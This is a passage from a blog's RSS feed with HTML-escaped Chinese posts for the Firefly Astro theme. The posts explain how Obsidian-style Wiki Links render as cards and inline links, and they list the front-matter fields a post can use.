&lt;li&gt;📚 &lt;a href=&quot;https://docs-firefly.cuteleaf.cn/config/siteConfig-usage/&quot; target=&quot;_blank&quot;&gt;站点配置文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;🏠 &lt;a href=&quot;https://docs-firefly.cuteleaf.cn/&quot; target=&quot;_blank&quot;&gt;Firefly 官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;⭐ &lt;a href=&quot;https://github.com/CuteLeaf/Firefly&quot; target=&quot;_blank&quot;&gt;Firefly GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;</content:encoded></item><item><title>Firefly Wiki Link 内部链接示例</title><link>https://shangdi.github.io/posts/guide/firefly-wiki-link/</link><guid isPermaLink="true">https://shangdi.github.io/posts/guide/firefly-wiki-link/</guid><description>在 Firefly 文章中使用 Obsidian 风格的 Wiki Link 内部链接，并自动生成文章链接卡片。</description><pubDate>Sat, 03 Jan 1970 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Firefly 支持在 Markdown、MDX 文章中使用 Obsidian 风格的 Wiki Link 内部链接。链接目标填写文章的 slug 或文件路径，都不需要包含扩展名，具体匹配规则见下文「链接目标的三种写法」。&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;文章链接卡片&lt;a href=&quot;#文章链接卡片&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;[[slug]]&lt;/code&gt; 单独成段时，会自动读取目标文章的标题、描述、发布时间、分类、标签和封面，渲染为链接卡片：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;firefly&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;guide/index&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;markdown-extended&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;a href=&quot;/posts/firefly/&quot;&gt;&lt;div&gt;&lt;div&gt;Firefly 一款清新美观的 Astro 博客主题模板&lt;/div&gt;&lt;div&gt;Firefly 是一款基于 Astro 框架和 Fuwari 模板开发的清新美观且现代化个人博客主题模板，专为技术爱好者和内容创作者设计。该主题融合了现代 Web 技术栈，提供了丰富的功能模块和高度可定制的界面，让您能够轻松打造出专业且美观的个人博客网站。&lt;/div&gt;&lt;div&gt;&lt;span&gt;1970-01-02&lt;/span&gt;&lt;span&gt;文章示例&lt;/span&gt;&lt;span&gt;&lt;span&gt;#Markdown&lt;/span&gt;&lt;span&gt;#Firefly&lt;/span&gt;&lt;span&gt;#博客&lt;/span&gt;&lt;span&gt;#主题&lt;/span&gt;&lt;span&gt;#模板&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;259&quot; src=&quot;/_astro/firefly2.dxmXG905_Z2o5m8L.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;a href=&quot;/posts/guide/&quot;&gt;&lt;div&gt;&lt;div&gt;Firefly 简单使用指南&lt;/div&gt;&lt;div&gt;如何使用 Firefly 博客模板。&lt;/div&gt;&lt;div&gt;&lt;span&gt;1970-01-02&lt;/span&gt;&lt;span&gt;博客指南&lt;/span&gt;&lt;span&gt;&lt;span&gt;#Firefly&lt;/span&gt;&lt;span&gt;#博客&lt;/span&gt;&lt;span&gt;#Markdown&lt;/span&gt;&lt;span&gt;#指南&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;270&quot; src=&quot;/_astro/cover.bDPQizdp_C8GFs.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;a href=&quot;/posts/markdown-extended/&quot;&gt;&lt;div&gt;&lt;div&gt;Markdown 扩展功能&lt;/div&gt;&lt;div&gt;了解 Firefly 中的 Markdown 功能&lt;/div&gt;&lt;div&gt;&lt;span&gt;1970-01-01&lt;/span&gt;&lt;span&gt;文章示例&lt;/span&gt;&lt;span&gt;&lt;span&gt;#演示&lt;/span&gt;&lt;span&gt;#示例&lt;/span&gt;&lt;span&gt;#Markdown&lt;/span&gt;&lt;span&gt;#Firefly&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;行内链接&lt;a href=&quot;#行内链接&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;[[slug]]&lt;/code&gt; 出现在正文中间时，渲染为普通链接，链接文字自动使用目标文章的标题&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;请参阅 [&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;firefly&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;] 了解主题特性。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;请参阅 &lt;a href=&quot;/posts/firefly/&quot;&gt;Firefly 一款清新美观的 Astro 博客主题模板&lt;/a&gt; 了解主题特性。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;自定义显示标题&lt;a href=&quot;#自定义显示标题&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;在 &lt;code&gt;|&lt;/code&gt; 后填写链接的显示文字。行内链接会用它替换文章标题；单独成段时依然渲染为卡片，卡片标题使用自定义文字，描述、时间、分类、标签和封面仍然读取目标文章：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;请参阅 [&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;firefly|主题介绍&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;] 了解主题特性。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[firefly|Firefly 主题介绍]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;请参阅 &lt;a href=&quot;/posts/firefly/&quot;&gt;主题介绍&lt;/a&gt; 了解主题特性。&lt;/p&gt;&lt;a href=&quot;/posts/firefly/&quot;&gt;&lt;div&gt;&lt;div&gt;Firefly 主题介绍&lt;/div&gt;&lt;div&gt;Firefly 是一款基于 Astro 框架和 Fuwari 模板开发的清新美观且现代化个人博客主题模板，专为技术爱好者和内容创作者设计。该主题融合了现代 Web 技术栈，提供了丰富的功能模块和高度可定制的界面，让您能够轻松打造出专业且美观的个人博客网站。&lt;/div&gt;&lt;div&gt;&lt;span&gt;1970-01-02&lt;/span&gt;&lt;span&gt;文章示例&lt;/span&gt;&lt;span&gt;&lt;span&gt;#Markdown&lt;/span&gt;&lt;span&gt;#Firefly&lt;/span&gt;&lt;span&gt;#博客&lt;/span&gt;&lt;span&gt;#主题&lt;/span&gt;&lt;span&gt;#模板&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;259&quot; src=&quot;/_astro/firefly2.dxmXG905_Z2o5m8L.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;一个例外：如果 &lt;code&gt;|&lt;/code&gt; 后的文字只是把链接目标又抄了一遍（&lt;code&gt;[[guide/index|index]]&lt;/code&gt;），会被当作无效别名忽略，仍然显示文章标题。Obsidian 在插入的链接时会自动补上这样的别名，避免笔记里显示一长串路径，这个例外就是为它准备的。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;链接目标的三种写法&lt;a href=&quot;#链接目标的三种写法&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;用 Obsidian 管理文章时，把 &lt;code&gt;src/content/posts&lt;/code&gt; 目录本身作为 Obsidian 仓库（vault）打开。下文提到的「仓库根目录」都指这个目录，它正好也是 Firefly 解析链接路径的起点。&lt;/p&gt;&lt;p&gt;链接目标按以下顺序匹配：&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;写法&lt;/th&gt;&lt;th&gt;示例&lt;/th&gt;&lt;th&gt;在 Obsidian 中&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;frontmatter 的 &lt;code&gt;slug&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;[[firefly-wiki-link]]&lt;/code&gt;&lt;/td&gt;&lt;td&gt;✗ 不支持&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;文件路径（相对仓库根目录）&lt;/td&gt;&lt;td&gt;&lt;code&gt;[[guide/firefly-layout-system]]&lt;/code&gt;&lt;/td&gt;&lt;td&gt;✓ 需改设置（推荐）&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;裸文件名（仓库内唯一时）&lt;/td&gt;&lt;td&gt;&lt;code&gt;[[firefly-layout-system]]&lt;/code&gt;&lt;/td&gt;&lt;td&gt;✓ 默认即是&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;section&gt;&lt;h3&gt;第一种：slug&lt;a href=&quot;#第一种slug&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;slug&lt;/code&gt; 写法在 Obsidian 中不支持，&lt;code&gt;slug&lt;/code&gt; 是 Firefly 自己的概念，Obsidian 不读取 frontmatter 里的 &lt;code&gt;slug&lt;/code&gt;，所以按 slug 写的链接在 Obsidian 里既不会自动补全，也点不动，只有构建出的站点上能正常跳转。如果你主要在 Obsidian 里写作，用下面两种写法。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;第二种：文件路径（推荐）&lt;a href=&quot;#第二种文件路径推荐&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;文件路径写法需要改 Obsidian 设置，在 &lt;code&gt;设置 → 文件与链接 → 链接 → 内部链接类型&lt;/code&gt; 中选择&lt;strong&gt;基于仓库根目录的绝对路径&lt;/strong&gt;，Obsidian 插入的链接才会带上目录：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;guide/firefly-layout-system|firefly-layout-system&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;a href=&quot;/posts/guide/firefly-layout-system/&quot;&gt;&lt;div&gt;&lt;div&gt;Firefly 布局系统详解&lt;/div&gt;&lt;div&gt;深入了解 Firefly 的布局系统，包括侧边栏布局（左侧/双侧）和文章列表布局（列表/网格），以及自适应网格列数。&lt;/div&gt;&lt;div&gt;&lt;span&gt;1970-01-03&lt;/span&gt;&lt;span&gt;博客指南&lt;/span&gt;&lt;span&gt;&lt;span&gt;#Firefly&lt;/span&gt;&lt;span&gt;#布局&lt;/span&gt;&lt;span&gt;#博客&lt;/span&gt;&lt;span&gt;#指南&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;270&quot; src=&quot;/_astro/firefly1.CZCuCN4V_1uGCKh.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;因为仓库根目录就是 &lt;code&gt;src/content/posts&lt;/code&gt;，Obsidian 写出的这个路径和 Firefly 需要的路径完全一致，不需要任何额外转换。&lt;/p&gt;&lt;p&gt;上面这行末尾的 &lt;code&gt;|firefly-layout-system&lt;/code&gt; 是 Obsidian 自动补的别名，Firefly 会忽略它，卡片标题仍然取文章的 title，除非你把它修改和文件名不一致，才会变成你修改后的别名。&lt;/p&gt;&lt;p&gt;内部链接类型下拉框里的&lt;strong&gt;基于当前笔记的相对路径&lt;/strong&gt;只在同目录内可用：它给同目录文章生成的是裸文件名，能正常匹配；但跨目录时会生成 &lt;code&gt;../&lt;/code&gt; 前缀，Firefly 无法解析，链接会按原文显示。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;第三种：裸文件名&lt;a href=&quot;#第三种裸文件名&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;「内部链接类型」的默认值就是&lt;strong&gt;尽可能简短的形式&lt;/strong&gt;：只要文件名在整个仓库里唯一，Obsidian 插入的链接就只有文件名，不带目录。这种写法不需要改任何设置，效果和写完整路径完全一致：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;firefly-layout-system&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;a href=&quot;/posts/guide/firefly-layout-system/&quot;&gt;&lt;div&gt;&lt;div&gt;Firefly 布局系统详解&lt;/div&gt;&lt;div&gt;深入了解 Firefly 的布局系统，包括侧边栏布局（左侧/双侧）和文章列表布局（列表/网格），以及自适应网格列数。&lt;/div&gt;&lt;div&gt;&lt;span&gt;1970-01-03&lt;/span&gt;&lt;span&gt;博客指南&lt;/span&gt;&lt;span&gt;&lt;span&gt;#Firefly&lt;/span&gt;&lt;span&gt;#布局&lt;/span&gt;&lt;span&gt;#博客&lt;/span&gt;&lt;span&gt;#指南&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;270&quot; src=&quot;/_astro/firefly1.CZCuCN4V_1uGCKh.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;文件名重名时这种写法会失效，构建日志里会给出提示，改用完整文件路径即可，所以推荐直接修改 Obsidian 内部链接类型设置为&lt;strong&gt;基于仓库根目录的绝对路径&lt;/strong&gt;，使用第二种文件路径写法，一劳永逸&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;链接到其他文章的标题&lt;a href=&quot;#链接到其他文章的标题&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;在文章 slug 后添加 &lt;code&gt;#标题&lt;/code&gt;。带标题锚点的链接始终渲染为普通链接：&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/posts/code-examples/#%E8%AF%AD%E6%B3%95%E9%AB%98%E4%BA%AE&quot;&gt;查看代码块语法高亮&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/posts/guide/firefly-layout-system/#%E7%9B%B8%E5%85%B3%E9%93%BE%E6%8E%A5&quot;&gt;Firefly 布局系统详解#相关链接&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;code-examples#语法高亮|查看代码块语法高亮&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;guide/firefly-layout-system#相关链接|firefly-layout-system&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;标题锚点使用与页面标题相同的 slug 规则，因此中文、空格和大小写都会按页面实际生成的 ID 处理。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;链接到本页标题&lt;a href=&quot;#链接到本页标题&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;省略文章 slug，只填写标题即可链接到当前文章：&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;#%E6%9C%AC%E9%A1%B5%E7%9B%AE%E6%A0%87&quot;&gt;跳转到本页目标&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;#本页目标|跳转到本页目标&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;本页目标&lt;a href=&quot;#本页目标&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;这是本页 Wiki Link 指向的标题。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;不支持附件嵌入&lt;a href=&quot;#不支持附件嵌入&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;附件嵌入语法目前不会被转换，会按原文显示：&lt;/p&gt;&lt;p&gt;![[image.png]]&lt;/p&gt;&lt;p&gt;行内代码和代码块中的 &lt;code&gt;[[firefly]]&lt;/code&gt; 也不会被转换。&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Firefly 简单使用指南</title><link>https://shangdi.github.io/posts/guide/</link><guid isPermaLink="true">https://shangdi.github.io/posts/guide/</guid><description>如何使用 Firefly 博客模板。</description><pubDate>Fri, 02 Jan 1970 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这个博客模板是基于 &lt;a href=&quot;https://astro.build/&quot; target=&quot;_blank&quot;&gt;Astro&lt;/a&gt; 构建的。对于本指南中未提及的内容，您可以在 &lt;a href=&quot;https://docs.astro.build/&quot; target=&quot;_blank&quot;&gt;Astro 文档&lt;/a&gt; 中找到答案。&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;文章的 Front-matter&lt;a href=&quot;#文章的-front-matter&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;我的第一篇博客文章&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;published&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2023-09-09&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;description&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;这是我新 Astro 博客的第一篇文章。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;./cover.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tags&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;前端&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;开发&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;category&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;前端开发&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;draft&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
















































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;属性&lt;/th&gt;&lt;th&gt;描述&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;title&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章标题。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;published&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章发布日期。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;updated&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章更新日期。如果未设置，将默认使用发布日期。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;pinned&lt;/code&gt;&lt;/td&gt;&lt;td&gt;是否将此文章置顶在文章列表顶部。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章的简短描述。显示在首页上。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;image&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章封面图片路径。&lt;br /&gt;1. 以 &lt;code&gt;http://&lt;/code&gt; 或 &lt;code&gt;https://&lt;/code&gt; 开头：使用网络图片&lt;br /&gt;2. 以 &lt;code&gt;/&lt;/code&gt; 开头：&lt;code&gt;public&lt;/code&gt; 目录中的图片&lt;br /&gt;3. 不带任何前缀：相对于 markdown 文件的路径&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;tags&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章标签。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;category&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章分类。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;lang&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章语言代码（如 &lt;code&gt;zh-CN&lt;/code&gt;）。仅当文章语言与站点默认语言不同时设置。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;licenseName&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章内容的许可证名称。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;licenseUrl&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章内容的许可证链接。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;author&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章作者。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;sourceLink&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章内容的来源链接或参考。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;draft&lt;/code&gt;&lt;/td&gt;&lt;td&gt;如果这篇文章仍是草稿，则不会显示。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;comment&lt;/code&gt;&lt;/td&gt;&lt;td&gt;是否启用此文章的评论功能。默认为 &lt;code&gt;true&lt;/code&gt;。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;slug&lt;/code&gt;&lt;/td&gt;&lt;td&gt;自定义文章 URL 路径。如果不设置，将使用文件名作为 URL。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;password&lt;/code&gt;&lt;/td&gt;&lt;td&gt;文章密码。设置后文章内容将被 AES-256-GCM 加密，访客需输入密码才能查看。&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;passwordHint&lt;/code&gt;&lt;/td&gt;&lt;td&gt;密码提示。显示在密码输入框上方，帮助访客回忆密码，也可以不加。&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;
